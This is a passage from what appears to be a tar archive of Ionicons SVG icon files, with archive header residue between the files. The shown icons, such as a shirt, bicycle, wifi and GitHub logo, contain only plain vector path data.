6.8 7.7 10.5 11.3l2 2C442 362 464 311.4 464 256s-22-106-57.7-143.4c-.7.7-1.4 1.3-2 2-3.7 3.7-7.2 7.5-10.5 11.4zM118.2 386.1l-18-10.6 16-28 21.1 12.4c5.1-8.3 9.5-17 13.3-26 .2-.4.3-.8.5-1.2l-21-4.9 7.1-31.6 23.9 5.5c2.3-9.8 3.8-19.8 4.6-29.8H142v-32h23.6c-.8-10-2.3-19.9-4.6-29.6l-23.9 5.5-7.1-31.6 21-4.9c-.2-.4-.3-.9-.5-1.3-3.8-9-8.2-17.7-13.3-25.9L116 164.6l-16-28 18.1-10.7c-3.4-3.9-6.9-7.7-10.6-11.4l-2-2C70 150 48 200.6 48 256s22 106 57.7 143.4c.7-.7 1.4-1.3 2-2 3.6-3.6 7.1-7.4 10.5-11.3z"/></svg>ionicons/svg/md-shirt.svg000064400000000264151701353760011446 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M320 64c-11.1 19.1-40.3 32-64 32s-52.9-12.9-64-32L64 96v96l77-16-13 272h256l-13-272 77 16V96L320 64z"/></svg>ionicons/svg/ios-beaker.svg000064400000000634151701353760011741 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M445.2 48H128.5C74.1 48 64 75.9 64 88.2c30.3 4.2 32 4.2 32 36.2v275.5c0 35.3 28.9 64 64.2 64H368c35.4 0 63-29.2 63-64.5V89.2c2-17.5 12.5-31.6 13.6-33.3 1.2-1.9 3.4-4.4 3.4-5.5 0-1.2-.3-2.4-2.8-2.4zm-333 29.3c0-.1 0-.1 0 0 6-1 12-1.3 16.3-1.3H405c-.9 3.7-1.5 7.1-1.8 10-.1 1.1-.2 2.1-.2 3.2v70.9-.1H124v-35.5c0-17.6 0-34.2-11.8-47.2z"/></svg>ionicons/svg/md-business.svg000064400000000743151701353760012152 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M261 149.3V64H48v384h416V149.3H261zm-127.8 256H90.6v-42.7h42.6v42.7zm0-85.3H90.6v-42.7h42.6V320zm0-85.3H90.6V192h42.6v42.7zm0-85.4H90.6v-42.7h42.6v42.7zm85.2 256h-42.6v-42.7h42.6v42.7zm0-85.3h-42.6v-42.7h42.6V320zm0-85.3h-42.6V192h42.6v42.7zm0-85.4h-42.6v-42.7h42.6v42.7zm203 256H261v-42.7h42.6V320H261v-42.7h42.6v-42.7H261V192h160.4v213.3zm-37.6-170.6h-42.6v42.7h42.6v-42.7zm0 85.3h-42.6v42.7h42.6V320z"/></svg>ionicons/svg/ios-analytics.svg000064400000001066151701353760012477 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zM76 256c0-48.1 18.7-93.3 52.7-127.3S207.9 76 256 76c48.1 0 93.3 18.7 127.3 52.7 32.2 32.2 50.7 74.5 52.6 119.7-8.8-10.3-24.2-24-43.8-24-27.5 0-41.7 25.7-51 42.7-1.4 2.5-2.7 4.9-3.9 7-11.4 19.2-27.3 30-42.5 28.9-13.4-.9-24.8-11.2-32.2-28.8-9.2-22.1-29.1-45.8-52.9-49.2-11.3-1.6-28.1.8-44.7 21.4-3.2 4-6.9 9.4-11.1 15.6-10.4 15.5-26.2 38.8-38.1 40.8-17.3 2.8-30.9-7.5-36.4-12.3-2.2-11.2-3.3-22.8-3.3-34.5z"/></svg>ionicons/svg/logo-playstation.svg000064400000002422151701353760013222 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M399.8 203c-.8-17.1-3.3-34.5-10.8-50.1-4.1-8.6-9.7-16.5-16.5-23.2-6.3-6.4-13.6-11.7-21.3-16.3-17.1-10.2-37.5-17-84.4-31S192 64 192 64v358.3l79.9 25.7s.1-198.8.1-299.5v-3.8c0-9.3 7.5-16.8 16.1-16.8h.5c8.5 0 15.5 7.5 15.5 16.8V278c11 5.3 29.2 9.3 41.8 9.1 8.3.2 16.7-1.7 24-5.7 7.6-4.1 13.9-10.4 18.4-17.8 5.1-8.3 8.2-17.8 9.9-27.3 1.9-10.8 2-22.1 1.6-33.3zM86.7 357.8c27.4-9.8 89.3-29.5 89.3-29.5v-47.2s-76.5 24.8-111.3 37.1c-8.6 3.1-17.3 5.9-25.7 9.5-9.8 4.1-19.4 8.7-28.1 14.8-3.8 2.6-7.2 5.9-9.2 10.1s-2.2 9.2-.5 13.6c2 5.1 5.8 9.3 10.1 12.6 7.8 5.9 17.1 9.5 26.4 12.2 28.4 9.4 58.4 14 88.4 13.3 14.5-.2 36-1.9 50-4.4v-42s-11 2.5-41.3 12.5c-4.6 1.5-9.2 3.3-14 4.3-7.1 1.6-14.4 2.1-21.6 2.2-6.5-.3-13.2-.7-19.3-3.1-2.2-1-4.6-2.2-5.5-4.6-.8-2 .3-4 1.7-5.4 2.8-2.9 6.8-4.5 10.6-6z"/><path d="M512 345.9c-.1-6-3.7-11.2-7.9-15-7.1-6.3-15.9-10.3-24.7-13.5-5.5-1.9-9.3-3.3-14.7-5-25.2-8.2-51.9-11.2-78.3-11.3-8 .3-23.1.5-31 1.4-21.9 2.5-67.3 15.4-67.3 15.4v48.8s67.5-21.6 96.5-31.8c9.7-3.3 20.1-4.6 30.3-4.6 6.5.2 13.2.7 19.4 3.1 2.2.9 4.5 2.2 5.5 4.5.9 2.6-.9 5-2.9 6.5-4.7 3.8-10.7 5.3-16.2 7.4-41 14.5-132.7 44.7-132.7 44.7v47s117.2-39.6 170.8-58.8c8.9-3.3 17.9-6.1 26.4-10.4 7.9-4 15.8-8.6 21.8-15.3 3.1-3.6 5-8 5-13.1z"/></svg>ionicons/svg/ios-bicycle.svg000064400000002125151701353760012117 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M125.3 289.3c17.3 0 33.7 6.8 46.1 19.2 12.4 12.4 19.2 28.8 19.2 46.1s-6.8 33.7-19.2 46.1c-12.4 12.4-28.8 19.2-46.1 19.2s-33.7-6.8-46.1-19.2C66.8 388.4 60 372 60 354.7s6.8-33.7 19.2-46.1c12.4-12.4 28.8-19.3 46.1-19.3m0-28c-51.3 0-93.3 42-93.3 93.3C32 406 74 448 125.3 448s93.3-42 93.3-93.3c.1-51.4-41.9-93.4-93.3-93.4zM319.8 127.8c17.8 0 32-14.2 32-32S337.8 64 320 64s-32.2 14-32.2 31.8c0 17.7 14.3 32 32 32zM386.7 289.3c17.3 0 33.7 6.8 46.1 19.2 12.4 12.4 19.2 28.8 19.2 46.1s-6.8 33.7-19.2 46.1C420.4 413.2 404 420 386.7 420s-33.7-6.8-46.1-19.2c-12.4-12.4-19.2-28.8-19.2-46.1s6.8-33.7 19.2-46.1c12.3-12.4 28.7-19.3 46.1-19.3m0-28c-51.3 0-93.3 42-93.3 93.3s42 93.3 93.3 93.3 93.3-42 93.3-93.3-42-93.3-93.3-93.3z"/><path d="M368 192h-48l-29.5-60.1c-5.6-9.3-15.9-15.9-27.1-15.9-8.4 0-16.8 3.7-22.4 9.3l-71.7 69.1c-5.6 5.6-9.3 14-9.3 22.4 0 17.4 12.6 23.6 18.5 27.1C224 270.1 240 273 240 286.1V352c0 8.8 7.2 16 16 16s16-7.2 16-16v-90c0-13.2-30.4-24-48.3-38l48.9-51.5c18.7 28.5 27.3 51.5 38 51.5H368c8.8 0 16-7.2 16-16s-7.2-16-16-16z"/></svg>ionicons/svg/md-heart-half.svg000064400000000675151701353760012336 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M349.6 64c-36.4 0-70.7 16.7-93.6 43.9C233.1 80.7 198.8 64 162.4 64 97.9 64 48 114.2 48 179.1c0 79.5 70.7 143.3 177.8 241.7L256 448l30.2-27.2C393.3 322.4 464 258.6 464 179.1 464 114.2 414.1 64 349.6 64zM256 406V157.7l24.5-29.1c17.1-20.4 43-32.5 69.1-32.5 22.6 0 43.4 8.4 58.7 23.8 15.3 15.4 23.7 36.5 23.7 59.3 0 29-12.5 57.5-40.4 92.2C362.8 307 306.4 359.7 256 406z"/></svg>ionicons/svg/md-play-circle.svg000064400000000314151701353760012515 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.2 48 48 141.2 48 256s93.2 208 208 208 208-93.2 208-208S370.8 48 256 48zm-41.6 301.6V162.4L339.2 256l-124.8 93.6z"/></svg>ionicons/svg/ios-cut.svg000064400000002504151701353760011301 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M308 277.2c25.5-33 80.5-111.5 90.2-135.4 7.2-17.6 10.6-32.8 10.4-46.2-.2-17.9-6-29.3-18.3-40.6-5.2-4.8-13.5-6.9-20-6.9L255.9 201.7l-10 13.4-2.9 3.9-.1.1-14.5 19.7c-.1.1-.2.3-.3.4-.5.8-7.5 10.9-15.2 22.7-3 4.6-6.1 9.5-9 14.1-3.5 5.6-6.6 11-8.8 15.2-3.6 7.1-7.3 14.4-10.7 21.5-3.7 7.5-7.2 14.6-10.4 20.7-10.2-7.3-22-11.1-34.3-11.1-17.5 0-33.7 7.7-45.8 21.6C82.4 357.1 76 374.6 76 393.1c0 18.5 6.4 36 17.9 49.3 12.1 13.9 28.4 21.6 45.8 21.6 14.4 0 28-5.2 39.2-15 10.5-9.1 18-21.3 21.8-35.4 1-3.1 11.6-34.7 26.1-57.3 9.2-14.4 22.2-23.4 29.6-27.8l13.5-9.7c0 .1 12.7-8.7 38.1-41.6zM139.9 421.1c-13.3 0-24-12.6-24-28s10.7-28 24-28 24 12.6 24 28c0 15.5-10.8 28-24 28zm116.2-132.9c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z"/><path d="M191.5 260.4c.7 1 1.6 1.9 2.5 2.7 1.7-2.8 3.6-5.7 5.4-8.6l46.5-65.8L140.9 48c-8.9 0-14.4.9-18.5 3.9-11.9 8.9-19.1 25.6-19.3 43.6-.2 13.5 3.3 28.6 10.4 46.2 8.6 21 42.6 70.2 78 118.7zM372 322.3c-12.3 0-24.1 3.8-34.3 11.1-3.2-6.1-6.7-13.2-10.4-20.7-3.4-6.9-6.9-14-10.4-20.8L306 305.8l-36.4 33.1c5.2 4.6 10.7 10.4 15.3 17.5 14.5 22.6 25 54.2 26 57.3 3.8 14.1 11.3 26.3 21.8 35.4 11.3 9.8 24.9 15 39.2 15 35.3 0 64-31.8 64-70.9s-28.6-70.9-63.9-70.9zm.1 98.8c-13.3 0-24-12.6-24-28s10.7-28 24-28 24 12.6 24 28c0 15.5-10.7 28-24 28z"/></svg>ionicons/svg/md-arrow-dropleft.svg000064400000000151151701353760013257 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M320 128L192 256l128 128z"/></svg>ionicons/svg/ios-pie.svg000064400000000624151701353760011264 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M276 68.1v219c0 3.7-2.5 6.8-6 7.7L81.1 343.4c-2.3.6-3.6 3.1-2.7 5.4C109.1 426 184.9 480.6 273.2 480c114.6-.7 206.8-93.5 206.8-208 0-112.1-88.6-203.5-199.8-207.8-2.3-.1-4.2 1.7-4.2 3.9z"/><path d="M32 239.3s.2 48.8 15.2 81.1c.8 1.8 2.8 2.7 4.6 2.2l193.8-49.7c3.5-.9 6.4-4.6 6.4-8.2V36c0-2.2-1.8-4-4-4C91 33.9 32 149 32 239.3z"/></svg>ionicons/svg/md-time.svg000064400000000567151701353760011261 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><g fill-opacity=".9"><path d="M255.8 48C141 48 48 141.2 48 256s93 208 207.8 208c115 0 208.2-93.2 208.2-208S370.8 48 255.8 48zm.2 374.4c-91.9 0-166.4-74.5-166.4-166.4S164.1 89.6 256 89.6 422.4 164.1 422.4 256 347.9 422.4 256 422.4z"/><path d="M266.4 152h-31.2v124.8l109.2 65.5 15.6-25.6-93.6-55.5V152z"/></g></svg>ionicons/svg/md-exit.svg000064400000000650151701353760011265 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M215.469 332.802l29.863 29.864L352 256 245.332 149.333l-29.863 29.865 55.469 55.469H64v42.666h205.864l-54.395 55.469zM405.334 64H106.666C83.198 64 64 83.198 64 106.666V192h42.666v-85.333h298.668v298.668H106.666V320H64v85.334C64 428.802 83.198 448 106.666 448h298.668C428.802 448 448 428.802 448 405.334V106.666C448 83.198 428.802 64 405.334 64z"/></svg>ionicons/svg/ios-thermometer.svg000064400000000752151701353760013044 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M309.8 304.6c-4.3-3-6.9-7.9-6.9-13.1v-213c0-25.7-21-46.5-47-46.5s-47 20.8-47 46.5v213c0 5.2-2.6 10.2-6.9 13.1-25.2 17.3-42 46.4-42 79.3 0 53 43 96 96 96s96-43 96-96c0-32.9-17-62.1-42.2-79.3zM256.1 445c-32 0-58.1-26.3-58.1-58.8 0-25.4 15.4-47.1 37.9-55.3 3.2-1.2 5.4-4.1 5.4-7.5V180.2c0-8 6.5-14.5 14.5-14.5s14.5 6.5 14.5 14.5v143.2c0 3.4 2.1 6.3 5.3 7.5 21.9 8.2 38.4 29.9 38.4 55.2 0 32.5-25.8 58.9-57.9 58.9z"/></svg>ionicons/svg/logo-closed-captioning.svg000064400000002554151701353760014263 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M32 96v320h448V96H32zm406 159.8c0 23.4-1.4 41.2-3.3 70.2s-16.8 49.4-51.7 52.6c-34.9 3.2-83.8 3.5-127 3.4-42.9.1-92-.1-127-3.4-34.9-3.2-49.7-23.6-51.7-52.6S74 279.2 74 255.8c0-23.4.1-38.6 3.3-70.2s20.1-49.2 51.7-52.4 86-3.2 127-3.2 95.4 0 127 3.2c31.6 3.2 48.5 20.9 51.7 52.4 3.2 31.6 3.3 46.9 3.3 70.2z"/><path d="M357.5 280.4v.7c0 16.3-10.1 25.9-23.6 25.9-13.5 0-22.6-10.8-23.9-25.9 0 0-1.2-7.9-1.2-23.9s1.4-26 1.4-26c2.4-17 10.7-25.9 24.2-25.9 13.4 0 24.1 11.6 24.1 29.2v.5h45.1c0-21.9-5.5-41.6-16.6-54-11-12.4-27.5-18.6-49.3-18.6-10.9 0-20.9 1.4-30 4.3-9.1 2.9-17 7.9-23.6 15.1-6.6 7.2-11.7 16.8-15.4 28.9-3.6 12.1-5.5 27.3-5.5 45.7 0 18 1.5 33 4.4 45.1 3 12.1 7.3 21.7 13.1 28.9 5.8 7.2 13.1 12.2 21.8 15 8.8 2.8 19.1 4.2 30.9 4.2 25 0 43-6.4 53.8-18.7 10.8-12.3 16.2-30.3 16.2-53.9h-46.1c.2 0 .2 2.5.2 3.4zM202.6 280.4v.7c0 16.3-10.1 25.9-23.6 25.9-13.5 0-22.6-10.8-23.9-25.9 0 0-1.2-7.9-1.2-23.9s1.4-26 1.4-26c2.4-17 10.7-25.9 24.2-25.9 13.4 0 24.1 11.6 24.1 29.2v.5h45.1c0-21.9-5.5-41.6-16.6-54-11-12.4-27.5-18.6-49.3-18.6-10.9 0-20.9 1.4-30 4.3-9.1 2.9-17 7.9-23.6 15.1-6.6 7.2-11.7 16.8-15.4 28.9-3.6 12.1-5.5 27.3-5.5 45.7 0 18 1.5 33 4.4 45.1 3 12.1 7.3 21.7 13.1 28.9 5.8 7.2 13.1 12.2 21.8 15 8.8 2.8 19.1 4.2 30.9 4.2 25 0 43-6.4 53.8-18.7 10.8-12.3 16.2-30.3 16.2-53.9h-46.1c.2 0 .2 2.5.2 3.4z"/></svg>ionicons/svg/logo-github.svg000064400000001545151701353760012142 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 32C132.3 32 32 134.9 32 261.7c0 101.5 64.2 187.5 153.2 217.9 1.4.3 2.6.4 3.8.4 8.3 0 11.5-6.1 11.5-11.4 0-5.5-.2-19.9-.3-39.1-8.4 1.9-15.9 2.7-22.6 2.7-43.1 0-52.9-33.5-52.9-33.5-10.2-26.5-24.9-33.6-24.9-33.6-19.5-13.7-.1-14.1 1.4-14.1h.1c22.5 2 34.3 23.8 34.3 23.8 11.2 19.6 26.2 25.1 39.6 25.1 10.5 0 20-3.4 25.6-6 2-14.8 7.8-24.9 14.2-30.7-49.7-5.8-102-25.5-102-113.5 0-25.1 8.7-45.6 23-61.6-2.3-5.8-10-29.2 2.2-60.8 0 0 1.6-.5 5-.5 8.1 0 26.4 3.1 56.6 24.1 17.9-5.1 37-7.6 56.1-7.7 19 .1 38.2 2.6 56.1 7.7 30.2-21 48.5-24.1 56.6-24.1 3.4 0 5 .5 5 .5 12.2 31.6 4.5 55 2.2 60.8 14.3 16.1 23 36.6 23 61.6 0 88.2-52.4 107.6-102.3 113.3 8 7.1 15.2 21.1 15.2 42.5 0 30.7-.3 55.5-.3 63 0 5.4 3.1 11.5 11.4 11.5 1.2 0 2.6-.1 4-.4C415.9 449.2 480 363.1 480 261.7 480 134.9 379.7 32 256 32z"/></svg>ionicons/svg/md-stopwatch.svg000064400000001152151701353760012326 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M232 306.667h48V176h-48v130.667z"/><path d="M407.67 170.271l30.786-30.786-33.942-33.941-30.785 30.786C341.217 111.057 300.369 96 256 96 149.961 96 64 181.961 64 288s85.961 192 192 192 192-85.961 192-192c0-44.369-15.057-85.217-40.33-117.729zm-45.604 223.795C333.734 422.398 296.066 438 256 438s-77.735-15.602-106.066-43.934C121.602 365.735 106 328.066 106 288s15.602-77.735 43.934-106.066C178.265 153.602 215.934 138 256 138s77.734 15.602 106.066 43.934C390.398 210.265 406 247.934 406 288s-15.602 77.735-43.934 106.066zM192 32h128v48H192z"/></svg>ionicons/svg/md-git-merge.svg000064400000001262151701353760012174 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M384 224c-23.7 0-44.4 12.9-55.4 32-18.3-.5-52.4-4.1-75.5-18.1-32.3-19.4-64.6-53.1-87-90.5 15.7-11.7 26-30.3 26-51.4 0-35.3-28.7-64-64-64S64 60.7 64 96c0 23.7 12.9 44.3 32 55.4v209.2c-19.1 11.1-32 31.7-32 55.4 0 35.3 28.7 64 64 64s64-28.7 64-64c0-23.7-12.9-44.3-32-55.4V244.2c18.7 19.4 39.1 36 60 48.6 38.8 23.4 87 26.9 108.6 27.3 11.1 19.1 31.7 31.9 55.4 31.9 35.3 0 64-28.7 64-64s-28.7-64-64-64zM88 96c0-22.1 17.9-40 40-40s40 17.9 40 40-17.9 40-40 40-40-17.9-40-40zm80 320c0 22.1-17.9 40-40 40s-40-17.9-40-40 17.9-40 40-40 40 17.9 40 40zm216-88c-22.1 0-40-17.9-40-40s17.9-40 40-40 40 17.9 40 40-17.9 40-40 40z"/></svg>ionicons/svg/md-stats.svg000064400000000235151701353760011451 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M176 64h64v384h-64zM80 336h64v112H80zM272 272h64v176h-64zM368 176h64v272h-64z"/></svg>ionicons/svg/ios-photos.svg000064400000000475151701353760012027 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M464 144H128c-17.6 0-32 14.4-32 32v240c0 17.6 14.4 32 32 32h336c17.6 0 32-14.4 32-32V176c0-17.6-14.4-32-32-32z"/><path d="M100 116h332V96c0-17.6-14.4-32-32-32H48c-17.6 0-32 14.4-32 32v256c0 17.6 14.4 32 32 32h20V148c0-17.6 14.4-32 32-32z"/></svg>ionicons/svg/ios-flashlight.svg000064400000000723151701353760012634 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M317 32H195c-17.6 0-24 14.4-24 32h170c0-17.6-6.4-32-24-32zM196.1 147.5c7.6 8.8 11.9 20 11.9 31.7v265.9c0 21.9 17.9 34.9 39.9 34.9h16.3c21.9 0 39.9-12.9 39.9-34.9V179.2c0-11.7 4.3-22.8 11.9-31.7 15.4-17.9 25-34.5 25-67.5H171c0 35 9.6 49.6 25.1 67.5zm31.9 90.8c0-15.6 12.6-28.3 28-28.3s28 12.7 28 28.3v35.4c0 15.6-12.6 28.3-28 28.3s-28-12.7-28-28.3v-35.4z"/><circle cx="256" cy="273" r="20"/></svg>ionicons/svg/md-bicycle.svg000064400000001724151701353760011731 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M330.666 131.202c18.668 0 33.598-14.935 33.598-33.601S349.334 64 330.666 64C312 64 297.07 78.935 297.07 97.601s14.93 33.601 33.596 33.601zm56 130.132c-51.332 0-93.332 42-93.332 93.333s42 93.333 93.332 93.333C438 448 480 406 480 354.667s-42-93.333-93.334-93.333zm0 158.666c-36.402 0-65.332-28.93-65.332-65.333s28.93-65.333 65.332-65.333c36.404 0 65.334 28.93 65.334 65.333S423.07 420 386.666 420zm-81.069-196H384v-32h-58.845l-34.62-60.134c-5.605-9.333-15.869-15.864-27.07-15.864-8.399 0-16.798 3.732-22.399 9.333L169.334 194.4c-5.601 5.601-9.333 14-9.333 22.399 0 12.131 9.202 21.465 18.535 27.065L240 282.134V368h32V256l-39.333-32 42.929-44.533L305.597 224zm-180.264 37.334C74 261.334 32 303.334 32 354.667S74 448 125.333 448s93.333-42 93.333-93.333-41.999-93.333-93.333-93.333zm0 158.666C88.934 420 60 391.07 60 354.667s28.934-65.333 65.333-65.333 65.333 28.93 65.333 65.333S161.732 420 125.333 420z"/></svg>ionicons/svg/ios-wifi.svg000064400000001351151701353760011443 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 96c-81.5 0-163 33.6-221.5 88.3-3.3 3-3.4 8.1-.3 11.4l26.7 27.9c3.1 3.3 8.3 3.4 11.6.3 23.3-21.6 49.9-38.8 79.3-51 33-13.8 68.1-20.7 104.3-20.7s71.3 7 104.3 20.7c29.4 12.3 56 29.4 79.3 51 3.3 3.1 8.5 3 11.6-.3l26.7-27.9c3.1-3.2 3-8.3-.3-11.4C419 129.6 337.5 96 256 96z"/><path d="M113.2 277.5l28.6 28.3c3.1 3 8 3.2 11.2.3 28.3-25.1 64.6-38.9 102.9-38.9s74.6 13.7 102.9 38.9c3.2 2.9 8.1 2.7 11.2-.3l28.6-28.3c3.3-3.3 3.2-8.6-.3-11.7-37.5-33.9-87.6-54.6-142.5-54.6s-105 20.7-142.5 54.6c-3.3 3.1-3.4 8.4-.1 11.7zM256 324.2c-23.4 0-44.6 9.8-59.4 25.5-3 3.2-2.9 8.1.2 11.2l53.4 52.7c3.2 3.2 8.4 3.2 11.6 0l53.4-52.7c3.1-3.1 3.2-8 .2-11.2-14.8-15.6-36-25.5-59.4-25.5z"/></svg>ionicons/svg/md-card.svg000064400000000404151701353760011222 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M435.2 80H76.8c-24.9 0-44.6 19.6-44.6 44L32 388c0 24.4 19.9 44 44.8 44h358.4c24.9 0 44.8-19.6 44.8-44V124c0-24.4-19.9-44-44.8-44zm0 308H76.8V256h358.4v132zm0-220H76.8v-44h358.4v44z"/></svg>ionicons/svg/md-thumbs-down.svg000064400000000475151701353760012570 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M314 64H142c-15.7 0-28.6 9.6-34.2 23.4L50.6 222.8c-1.7 4.4-2.6 9-2.6 14v38.6c0 21.1 17 44.6 37.8 44.6h119.3l-18 81.5-.6 6c0 7.9 3.2 15.1 8.3 20.3l20 20.1L341 320.7c6.8-6.9 11-16.5 11-27.1v-192c0-21.1-17.2-37.6-38-37.6zM400 64h64v224h-64z"/></svg>ionicons/svg/ios-hand.svg000064400000001146151701353760011421 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M394.9 117.3c-11.6 0-21.1 9.3-21.1 20.6v109.4c0 4.8-4 8.7-8.9 8.7s-8.9-3.9-8.9-8.7V85.9c0-11.3-9.5-20.6-21.1-20.6-11.6 0-21.1 9.3-21.1 20.6v126.8c0 4.8-4 8.7-8.9 8.7s-8.9-3.9-8.9-8.7V68.6c0-11.3-9.5-20.6-21.1-20.6-11.6 0-21.1 9.3-21.1 20.6V230c0 4.8-4 8.7-8.9 8.7s-8.9-3.9-8.9-8.7V103.2c0-11.3-9.5-20.6-21.1-20.6-11.6 0-21.1 9.3-21.1 20.6v218.3L166 297.9c-26.1-22.7-48.2-32.4-66.2-15.7-12.1 11.8 6.9 30.9 26.8 53.2 19.2 21.5 70 91.9 113.3 117.3 0 0 16.7 11.4 40.6 11.4h57.2c46.1 0 78.4-37.9 78.4-93.2v-233c-.1-11.3-9.6-20.6-21.2-20.6z"/></svg>ionicons/svg/ios-hammer.svg000064400000002042151701353760011754 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M277.6 246.9c-1.1-2-2.5-3.9-4.1-5.5l-18.4-18.2c-1.9-1.9-4.1-3.5-6.6-4.6-8.2-3.6-17.4-1.7-23.4 4.3-6.4 6.3-18.1 17.8-39.2 38.7-40.4 40-98.1 89.6-132 118.2-7.2 6.1-7.7 17-1.1 23.7L92 443.2c6.7 6.7 17.6 6.3 23.8-.9 29.4-34.6 79.5-92.3 119.4-131.8 20.5-20.2 32-31.8 38.5-38.2 6.5-6.6 8.3-16.7 3.9-25.4zM462.4 218.1l-34.5-34.2c-1.1-1.1-2.5-1.6-4-1.6-1.4 0-2.9.5-4 1.6-2.5 2.5-6.1 3.8-9.6 3.3-4.5-.5-9.3-1.9-12.4-4.9-7-6.9 1.1-20.5-5.1-29.2-6.2-8.7-16.1-19.8-23.2-26.9-7.1-7-35-33.7-82-52.9-16.6-6.8-32.8-9.3-47.3-9.3-26.5 0-47.4 8.5-54.8 15.3-5.5 5.1-11.2 14.1-3.1 14.1.7 0 1.5-.1 2.4-.2 4.5-.7 13.3-1.5 23.4-1.5 15.7 0 34.5 2.1 44.6 10.1 16.3 13.1 29.8 30.6 30.9 53.2.8 16.8-3.4 28.2-18.7 45.5-2.8 3.2-2.6 8 .4 10.9l19.2 19.2c3.1 3.1 8.1 3.1 11.2.1 14-13.6 22.1-20.2 31.3-22.7 4-1.1 8.4-1.6 12.8-1.6 9.7 0 19.2 2.2 23.6 4.6 1.1.6 2.1 1.4 3.1 2.4 6.5 6.6 6.1 17.4-.5 23.9l-2 1.9c-2.2 2.2-2.2 5.7 0 7.9l34.5 34.2c1.1 1.1 2.5 1.6 4 1.6 1.4 0 2.9-.5 4-1.6l55.8-55.2c2.1-2.3 2.1-5.8 0-8z"/></svg>ionicons/svg/ios-apps.svg000064400000001255151701353760011453 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M434.8 137.6L285.4 69.5c-16.2-7.4-42.7-7.4-58.9 0L77.2 137.6c-17.6 8-17.6 21.1 0 29.1l148 67.5c16.9 7.7 44.7 7.7 61.6 0l148-67.5c17.6-8 17.6-21.1 0-29.1zM225.2 375.2l-99.8-45.5c-4.2-1.9-9.1-1.9-13.3 0l-34.9 15.9c-17.6 8-17.6 21.1 0 29.1l148 67.5c16.9 7.7 44.7 7.7 61.6 0l148-67.5c17.6-8 17.6-21.1 0-29.1l-34.9-15.9c-4.2-1.9-9.1-1.9-13.3 0l-99.8 45.5c-16.9 7.7-44.7 7.7-61.6 0z"/><path d="M434.8 241.6l-31.7-14.4c-4.2-1.9-9-1.9-13.2 0l-108 48.9c-15.3 5.2-36.6 5.2-51.9 0l-108-48.9c-4.2-1.9-9-1.9-13.2 0l-31.7 14.4c-17.6 8-17.6 21.1 0 29.1l148 67.5c16.9 7.7 44.7 7.7 61.6 0l148-67.5c17.7-8 17.7-21.1.1-29.1z"/></svg>ionicons/svg/md-camera.svg000064400000000543151701353760011545 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><circle cx="256" cy="280" r="63"/><path d="M440 96h-88l-32-32H192l-32 32H72c-22.092 0-40 17.908-40 40v272c0 22.092 17.908 40 40 40h368c22.092 0 40-17.908 40-40V136c0-22.092-17.908-40-40-40zM256 392c-61.855 0-112-50.145-112-112s50.145-112 112-112 112 50.145 112 112-50.145 112-112 112z"/></svg>ionicons/svg/ios-backspace.svg000064400000001072151701353760012421 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M395 96H230c-46.7 0-73.2 34.7-102 63.5s-72.1 74.7-72.1 74.7C51 239.8 48 247 48 255.1c0 8 3 15.3 7.9 21 0 0 34.3 37.6 72.1 75.5 37.8 37.8 56.7 64.5 102 64.5h165c38.5 0 69-32.5 69-71V165c0-38.5-30.5-69-69-69zm-17.7 212.7c6.2 6.2 6.2 16.4 0 22.6-6.2 6.2-16.4 6.2-22.6 0L302 278.6l-52.7 52.7c-6.2 6.2-16.3 6.4-22.6 0-6.4-6.4-6.7-15.9 0-22.6l52.7-52.7-52.7-52.7c-6-6-7.1-15.6 0-22.6 7.1-7.1 16.4-6.2 22.6 0l52.7 52.7 52.7-52.7c6.2-6.2 16.4-6.2 22.6 0 6.2 6.2 6.2 16.4 0 22.6L324.6 256l52.7 52.7z"/></svg>ionicons/svg/md-pizza.svg000064400000001351151701353760011450 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M407.2 130.4C360.7 111.5 309.8 102 256 102c-53.9 0-108.3 